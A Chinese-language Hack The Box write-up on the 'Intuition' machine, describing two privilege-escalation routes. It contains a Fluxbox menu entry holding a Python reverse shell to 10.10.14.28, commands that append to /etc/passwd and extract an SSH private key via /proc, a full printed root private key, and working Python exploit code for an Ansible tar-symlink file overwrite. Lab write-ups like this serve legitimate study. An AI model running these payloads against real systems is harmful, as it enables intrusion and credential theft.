HTB-Intuition其他提权方法

admin 2024年5月7日10:57:25评论25 views字数 5423阅读18分4秒阅读模式

HTB-Intuition其他提权方法

非预期

现在是dev_acc用户,查看一下后台

HTB-Intuition其他提权方法

可以看到有个4444端口,代理到本地然后打开

HTB-Intuition其他提权方法

HTB-Intuition其他提权方法

HTB-Intuition其他提权方法

得知是Selenium一个开源的测试工具,其中Selenium Grid就是他的其中一个套件,用来测试多个虚拟机,可以看到有个虚拟机,点击进去但是需要密码

HTB-Intuition其他提权方法

可以参考这篇文章,密码是:secret

https://github.com/SeleniumHQ/docker-selenium/issues/1455

关于这个套件的漏洞可以找到这个工具

https://github.com/JonStratton/selenium-node-takeover-kit/tree/master

看下GitHub的篇文章可以根据他的poc执行,首先登录进去,然后本地开启python服务器,下载一个revershell

HTB-Intuition其他提权方法

然后通过上传菜单文件来编辑selenium菜单文件,该文件可以链接到我的reverseshell文件。

HTB-Intuition其他提权方法

如何创建菜单文件的可以参考这篇文章

https://askubuntu.com/questions/7288/how-to-configure-fluxbox-menu

显示隐藏文件夹

HTB-Intuition其他提权方法

选择菜单文件并单击保存

HTB-Intuition其他提权方法

然后回到桌面右击可以找到直接创建的menu的文件,然后选择shell的目录

[begin] (Fluxbox)[submenu] (System Tools) {System Tools}    [exec] (Terminal) {xterm}    [exec] (Web Browser) {firefox}    [exec] (Open caixukun Shell) {python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'}[end][end]

HTB-Intuition其他提权方法

HTB-Intuition其他提权方法

成功反弹,可以得知这是在docker里面,继续搜索一下,可以参考这篇文章

https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

尝试验证此漏洞

HTB-Intuition其他提权方法

但是前提要是root用户

echo "dev_acc:x:1001:1001:dev_acc,,,:/home/dev_acc:/bin/bash" >> etc/passwd

HTB-Intuition其他提权方法

看来验证成功了,回到ssh的连接,查看一下sda,并且使用该漏洞

grep -zoP "(?s)-----BEGIN OPENSSH PRIVATE KEY-----(.*?)-----END OPENSSH PRIVATE KEY-----" /proc/139369/root/sda

HTB-Intuition其他提权方法

成功的拿到了root私钥

-----BEGIN OPENSSH PRIVATE KEY-----                                                                                                                                                                                                                                           b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDyIVwjHg                                                                                                                                                                                                        cDQsuL69cF7BJpAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6ud                                                                                                                                                                                                        KETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lA                                                                                                                                                                                                        KK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7                                                                                                                                                                                                        x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BR                                                                                                                                                                                                        BdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JX                                                                                                                                                                                                        U0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQk                                                                                                                                                                                                        TlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+                                                                                                                                                                                                        efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbc                                                                                                                                                                                                        JFGDBQ+X3QelEAAAWQ+YGB02Ep/88YxudrpfK8MjnpV50/Ew4KtvEjqe4oNL4zLr4qpRec                                                                                                                                                                                                        80EVZXE2y8k7+2Kqe9+i65RDTpTv+D88M4p/x0wOSVoquD3NNKDSDCmuo0+EU+5WrZcLGT                                                                                                                                                                                                        ybB8rzzM+RZTm2/XqXvrPPKqtZ9jGIVWhzOirVmbr7lU9reyyotru1RrFDrKSZB4Rju/6V                                                                                                                                                                                                        YMLzlQ0hG+558YqQ/VU1wrcViqMCAHoKo+kxYBhvA7Pq1XDtU1vLJRhQikg249Iu4NnPtA                                                                                                                                                                                                        bS5NY4W5E0myaT6sj1Nb7GMlU9aId+PQLxwfPzHvmZArlZBl2EdwOrH4K6Acl/WX2Gchia                                                                                                                                                                                                        R9Rb3vhhJ9fAP10cmKCGNRXUHgAw3LS/xXbskoaamN/Vj9CHqF1ciEswr0STURBgN4OUO7                                                                                                                                                                                                        cEH6cOmv7/blKgJUM/9/lzQ0VSCoBiFkje9BEQ5UFgZod+Lw5UVW5JrkHrO4NHZmJR7epT                                                                                                                                                                                                        9e+7RTOJW1rKq6xf4WmTbEMV95TKAu1BIfSPJgLAO25+RF4fGJj+A3fnIB0aDmFmT4qiiz                                                                                                                                                                                                        YyJUQumFsZDRxaFCWSsGaTIdZSPzXm1lB0fu3fI1gaJ+73Aat9Z4+BrwxOrQeoSjj6nAJa                                                                                                                                                                                                        lPmLlsKmOE+50l+kB2OBuqssg0kQHgPmiI+TMBAW71WU9ce5Qpg7udDVPrbkFPiEn7nBxO                                                                                                                                                                                                        JJEKO4U29k93NK1FJNDJ8VI3qqqDy6GMziNapOlNTsWqRf5mCSWpbJu70LE32Ng5IqFGCu                                                                                                                                                                                                        r4y/3AuPTgzCQUt78p0NbaHTB8eyOpRwoGvKUQ10XWaFO5IVWlZ3O5Q1JB1vPkxod6YOAk                                                                                                                                                                                                        wsOvp4pZK/FPi165tghhogsjbKMrkTS1+RVLhhDIraNnpay2VLMOq8U4pcVYbg0Mm0+Qeh                                                                                                                                                                                                        FYsktA4nHEX5EmURXO2WZgQThZrvfsEK5EIPKFMM7BSiprnoapMMFzKAwAh1D8rJlDsgG/                                                                                                                                                                                                        Lnw6FPnlUHoSZU4yi8oIras0zYHOQjiPToRMBQQPLcyBUpZwUv/aW8I0BuQv2bbfq5X6QW                                                                                                                                                                                                        1VjanxEJQau8dOczeWfG55R9TrF+ZU3G27UZVt4mZtbwoQipK71hmKDraWEyqp+cLmvIRu                                                                                                                                                                                                        eIIIcWPliMi9t+c3mI897sv45XWUkBfv6kNmfs1l9BH/GRrD+JYlNFzpW1PpdbnzjNHHZ3                                                                                                                                                                                                        NL4dUe3Dt5rGyQF8xpBm3m8H/0bt4AslcUL9RsyXvBK26BIdkqoZHKNyV9xlnIktlVELaZ                                                                                                                                                                                                        XTrhQOEGC4wqxRSz8BUZOb1/5Uw/GI/cYabJdsvb/QKxGbm5pBM7YRAgmljYExjDavczU4                                                                                                                                                                                                        AEuCbdj+D8zqvuXgIFlAdgen8ppBob0/CBPqE5pTsuAOe3SdEqEvglTrb+rlgWC6wPSvaA                                                                                                                                                                                                        rRgthH/1jct9AgmgDd2NntTwi9iXPDqtdx7miMslOIxKJidiR5wg5n4Dl6l5cL+ZN7dT/N                                                                                                                                                                                                        KdMz9orpA/UF+sBLVMyfbxoPF3Mxz1SG62lVvH45d7qUxjJe5SaVoWlICsDjogfHfZY40P                                                                                                                                                                                                        bicrjPySOBdP2oa4Tg8emN1gwhXbxh1FtxCcahOrmQ5YfmJLiAFEoHqt08o00nu8ZfuXuI                                                                                                                                                                                                        9liglfvSvuOGwwDcsv5aVk+DLWWUgWkjGZcwKdd9qBbOOCOKSOIgyZALdLb5kA2yJQ1aZl                                                                                                                                                                                                        nEKhrdeHTe4Q+HZXuBSCbXOqpOt9KZwZuj2CB27yGnVBAP+DOYVAbbM5LZWvXP+7vb7+BW                                                                                                                                                                                                        ci+lAtzdlOEAI6unVp8DiIdOeprpLnTBDHCe3+k3BD6tyOR0PsxIqL9C4om4G16cOaw9Lu                                                                                                                                                                                                        nCzj61Uyn4PfHjPlCfb0VfzrM+hkXus+m0Oq4DccwahrnEdt5qydghYpWiMgfELtQ2Z3W6                                                                                                                                                                                                        XxwXArPr6+HQe9hZSjI2hjYC2OU=                                                                                                                                                                                                                                                  -----END OPENSSH PRIVATE KEY-----

预期

可以通过搜索,发现一个cve可以利用,具体参考这里

https://github.com/ansible/ansible/commit/1e930684bc0a76ec3d094cd326738ad26416541c

HTB-Intuition其他提权方法

使用此漏洞,可以覆盖文件。例如,我覆盖/etc/passwd文件,就像这批文章

https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/

HTB-Intuition其他提权方法

接下来利用该漏洞,首先使用openssl生成passwd的哈希,然后利用哈希

HTB-Intuition其他提权方法

HTB-Intuition其他提权方法

#!/usr/bin/env python"""Create a role archive which overwrites an arbitrary file."""import argparseimport pathlibimport tarfileimport tempfiledef main() -> None:    parser = argparse.ArgumentParser(description=__doc__)    parser.add_argument('archive', type=pathlib.Path, help='archive to create')    parser.add_argument('content', type=pathlib.Path, help='content to write')    parser.add_argument('target', type=pathlib.Path, help='file to overwrite')    args = parser.parse_args()    create_archive(args.archive, args.content, args.target)def create_archive(archive_path: pathlib.Path, content_path: pathlib.Path, target_path: pathlib.Path) -> None:    with (        tarfile.open(name=archive_path, mode='w') as role_archive,        tempfile.TemporaryDirectory() as temp_dir_name,    ):        temp_dir_path = pathlib.Path(temp_dir_name)        meta_main_path = temp_dir_path / 'meta' / 'main.yml'        meta_main_path.parent.mkdir()        meta_main_path.write_text('')        symlink_path = temp_dir_path / 'symlink'        symlink_path.symlink_to(target_path)        role_archive.add(meta_main_path)        role_archive.add(symlink_path)        content_tarinfo = role_archive.gettarinfo(content_path, str(symlink_path))        with content_path.open('rb') as content_file:            role_archive.addfile(content_tarinfo, content_file)if __name__ == '__main__':    main()

创建完了tar,然后上传,使用install命令

HTB-Intuition其他提权方法

成功拿到root,但是不建议使用这个方法,因为它会更改/etc/passwd文件并导致服务器错误~~~~

原文始发于微信公众号(Jiyou too beautiful):HTB-Intuition其他提权方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月7日10:57:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-Intuition其他提权方法https://cn-sec.com/archives/2709032.html

发表评论

匿名网友 填写信息